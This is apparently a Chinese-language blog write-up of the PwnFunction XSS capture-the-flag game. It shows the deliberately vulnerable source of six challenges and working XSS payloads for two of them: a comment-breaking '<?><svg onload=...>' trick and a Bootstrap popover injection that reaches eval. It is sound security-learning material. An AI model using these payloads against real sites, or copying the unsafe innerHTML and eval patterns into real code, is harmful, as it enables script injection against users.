xss-game

https://xss.pwnfunction.com/

新开一个坑 有空玩玩

补: 差点把自己玩死

Area 51

1
2
3
4
5
6
7
8
9
<!-- Challenge -->
<div id="pwnme"></div>

<script>
var input = (new URL(location).searchParams.get('debug') || '').replace(/[\!\-\/\#\&\;\%]/g, '_');
var template = document.createElement('template');
template.innerHTML = input;
pwnme.innerHTML = "<!-- <p> DEBUG: " + template.outerHTML + " </p> -->";
</script>

往 ?debug 里塞payload

1
<div id="pwnme"><!-- <p> DEBUG: <template>12341234</template> </p> --></div>

放到了注释里 要想办法 break

要逃逸出 replace 可以看到几种注释已经被ban了

就算 template 有操作空间 感觉还是要 先绕过注释

感觉可以考虑一下dom xss

trick https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/debugging-client-side-js 不知道有啥用

感觉点在 这一进一出可能导致差异?

所以要好好研究一下 outerHRML

我在一直考虑编码上的问题

可惜这条路似乎走不通 555 我太菜惹

看了下 payload

wp

1
2
3
4
<?php><svg onload=alert(1337)>

<!-- Also works because, <?> is short for <php> -->
<?><svg onload=alert(1337)>

结果如图

image-20220429224819248

出题人这么解释的

The value of the GET parameter debug ends up inside a comment which is then inserted to the DOM via innerHTML. The problem is that, there’s a filter, which removes !-/#&;% characters. But <php> it mutates into <!--php-->, because browsers don’t like to render PHP source if sent accidentally. This mutation creates new comment, which will be nested inside the already existing one. However there’s no concept of nested comments in HTML, hence the new comment breaks the old comment and lets us execute Javascript.

emmm 这似乎还是要扯到 浏览器解析的问题上来

给了个链接 完全看不懂嘛 ~~

https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state

https://blog.zeddyu.info/2020/02/11/xssgame/#difficult-version

下次抽时间学一下

Keanu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- Challenge -->
<number id="number" style="display:none"></number>
<div class="alert alert-primary" role="alert" id="welcome"></div>
<button id="keanu" class="btn btn-primary btn-sm" data-toggle="popover" data-content="DM @PwnFunction"
data-trigger="hover" onclick="alert(`If you solved it, DM me @PwnFunction :)`)">Solved it?</button>

<script>
/* Input */
var number = (new URL(location).searchParams.get('number') || "7")[0],
name = DOMPurify.sanitize(new URL(location).searchParams.get('name'), { SAFE_FOR_JQUERY: true });
$('number#number').html(number);
document.getElementById('welcome').innerHTML = (`Welcome <b>${name || "Mr. Wick"}!</b>`);

/* Greet */
$('#keanu').popover('show')
setTimeout(_ => {
$('#keanu').popover('hide')
}, 2000)

/* Check Magic Number */
var magicNumber = Math.floor(Math.random() * 10);
var number = eval($('number#number').html());
if (magicNumber === number) {
alert("You're Breathtaking!")
}
</script>

这都是啥奇奇怪怪的属性 ( 我前端真菜 555

这里直接 purify 了 name 那么是不是就没有搞头了?

1
$('number#number').html(number);

用法

html() 方法设置或返回被选元素的内容(innerHTML)。

当该方法用于返回内容时,则返回第一个匹配元素的内容。

当该方法用于设置内容时,则重写所有匹配元素的内容。

popover用法

image-20220504194418886

大概看懂什么意思了 检查一下他的 DOMpurify 有没有漏洞

1
<!-- DOMPurify(2.0.7) -->

image-20220504195250171

20 年 爆了俩漏洞

但我不确定这个比赛是什么时候的 emmm

应该不是摁用漏洞

是要执行这个

1
var number = eval($('number#number').html());

要求污染掉 eval 里面的值 感觉有点小困难

毕竟这里知选了一个值

1
var number = (new URL(location).searchParams.get('number') || "7")[0]

我们输入的number可不可以是别的类型? 这样的话 [0] 说不定可以截取到更多个 emmm。。。

来研究下这个 searchParams 好像又没什么操作空间?

感觉只有 popover 可以用了 怎么用呢?

或许要结合 name?插入一些无害的东西?我trytry

当我用以下的payload时 我发现 弹框的地方改变了

1
https://sandbox.pwnfunction.com/challenges/keanu.html?number=2&name=<img id="keanu" data-content="DM @b1ue0cean">

现在我们逐渐熟悉了 popover 但是距离解题还差一个重要的点

image-20220504204014124

我在文档中发现了一个东西

1
https://sandbox.pwnfunction.com/challenges/keanu.html?number=2&name=<img id="keanu" data-content="233<svg/onload=alert``>" data-html=true>

但是貌似被过滤掉了

我可以在这里面插一个不危险的东西嘛? 比如 <number> (念念不忘了是

我使用了以下的payload

1
https://sandbox.pwnfunction.com/challenges/keanu.html?number=2&name=<img id="keanu" data-content="233<number id="number" style="display:none">gg</number>" data-html=true>

结果出了点小状况

image-20220504204917829

这里id貌似重了 emmm 换个单引号再试试

image-20220504205309124

果然没问题了

1
https://sandbox.pwnfunction.com/challenges/keanu.html?number=2&name=<img id="keanu" data-content='233<number id=number style="display:none">gg</number>' data-html=true>

那么接下来要怎么进行下去呢?

image-20220504205610725

目前还是达不到我想要的效果 emmm 烦烦烦

当该方法用于返回内容时,则返回第一个匹配元素的内容

怎么能让我的html跑到他的上面去呢 5555

感觉这是最后一道坎了

那么我是不是可以想办法破坏第一个 number 标签?

这样 我的number 不就成了第一个了? 但这个想法貌似不具备可行性

卡死

image-20220504211332825

貌似去掉原来的number 标签 也不是很可行的样子 555

看了zeddy 大佬的 wp 学习了

image-20220504211428231

同时也说明 我是fw 如果坚持做下去应该可以出的 555 一条思路死了 就赶紧换!!!

利用 container 属性 插进去了 5555

image-20220504214833085

payload

1
file:///E:/js/test.html?number='&name=<button id="keanu" data-toggle="popover" data-container="number" data-content="';alert(1337);//">

image-20220504215148870

真tm不容易

WW3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>

<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)

if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}

setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>

<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>

Jason Bourne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!-- Challenge -->
<script>
/* Helpers */
const bootstrapAlert = (msg, type) => {
return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)
}

document.getAlert = () => document.getElementById('alerts');
</script>

<script>
/* Welcome */
let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
document.write(
bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
)
</script>

<!-- alerts -->
<div id="alerts"></div>

<script>
/* Handle to `#alert` */
let alerts = document.getAlert();

/* Treadstone Credentials */
let identification = Math.random().toString(36).slice(2);
let code = Math.floor(Math.random() * 89999 + 10000);

/* Default Credentials */
DEFAULTS = {};
DEFAULTS[identification] = code;
</script>

<script>
/* Optional Comment */
if (location.hash) {
let comment = document.createComment(decodeURI(location.hash).slice(1));
document.querySelector('#alerts').appendChild(comment);
}
</script>

<script>
/* Use `DEFAULTS` to init `SECRETS` */
SECRETS = DEFAULTS

/* Increment the `code` before the check */
let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
SECRETS[secretKey] += 1;

/* Authorization Check */
if (SECRETS[secretKey] === SECRETS[identification]) {
confirm(`Jesus Christ, it's Jason Bourne!`)
} else {
confirm(`You ain't David Webb!`)
}
</script>

Me and the Bois

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!-- Challenge -->
<div id="bois">
</div>

<script>
/* Variables */
let safeTags = ['a', 'area', 'b', 'br', 'col', 'code', 'div', 'em', 'hr', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'i', 'iframe', 'img', 'li', 'ol', 'p', 'pre', 's', 'small', 'span', 'sub', 'sup', 'strong', 'u', 'ul']
let forbiddenAttrs = ['style', 'srcdoc']
let cssSafe = /[^a-zA-Z0-9\s\-\,\:\_\(\)\{\}\"\'\.\#\;\%]/g

/* Inputs */
let boi = `<h1>${(new URL(location).searchParams.get('boi')) || 'Neo'}</h1>`
let clean = DOMPurify.sanitize(boi, { ALLOWED_TAGS: safeTags, FORBID_ATTR: forbiddenAttrs })
let bois = document.getElementById('bois')
bois.innerHTML += clean;

/* Custom Style JSON */
let custom = (new URL(location).searchParams.get('custom')) || ""
custom = custom.replace(cssSafe, '')
if (custom) {
customStyles = JSON.parse(custom)
let comment = document.createComment(customStyles)
bois.appendChild(comment)
}

/* Configuration */
window.CONFIG = {
color: "lime",
backgroundColor: "#000"
}
</script>

<script>
/* Generic Style Setter */
function styleSetter(styles, execStr) {
for (var style in styles) {
if (styles.hasOwnProperty(style)) {
eval(execStr)
}
}
}

/* Default Styles */
window.DEFAULTS = {
borderRadius: "5px",
fontFamily: "Space Mono",
fontWeight: "700",
letterSpacing: "4px",
padding: "20px",
textAlign: "center",
width: "500px"
}
styleSetter(DEFAULTS, `CONFIG[style] = styles[style]`)

/* Custom Styles */
if (window.customStyles) {
styleSetter(customStyles, `CONFIG[style] = customStyles[style]`)
}

/* Stylise! */
styleSetter(CONFIG, `bois.firstElementChild.style[style] = CONFIG[style]`)
</script>

Ded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- Challenge -->
<div id="ded">
<button type="button" class="btn btn-lg btn-danger" data-toggle="popover" title="Hints" data-html="true"
data-content="<li>Anything different about this challenge?</li>
<li>Look Deeper!</li>">Lemme help you.</button>
</div>

<script>
/* Inputs */
let code = (new URL(location).searchParams.get('code')).replace(/script/ig, "_") || `<li><strike>ded</strike></li>`

let clean = DOMPurify.sanitize(code, { SAFE_FOR_JQUERY: true })
document.getElementById('ded').innerHTML += clean
</script>

<!-- Jquery(3.4.1), Popper(1.16.0), Bootstrap(4.4.0) -->
<script src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.0/js/bootstrap.min.js"
integrity="sha384-3qaqj0lc6sV/qpzrc1N5DC6i1VRn/HyX4qdPaiEFbn54VjQBEU341pvjz7Dv3n6P"
crossorigin="anonymous"></script>

<script>
/* Extend Bootstrap Popover */
let whiteList = $.fn.tooltip.Constructor.Default.whiteList
whiteList.form = []

/* Popovers! */
$(function () {
$('[data-toggle="popover"]').popover('show')
})
</script>

reference

https://blog.zeddyu.info/2020/02/11/xssgame/#introduction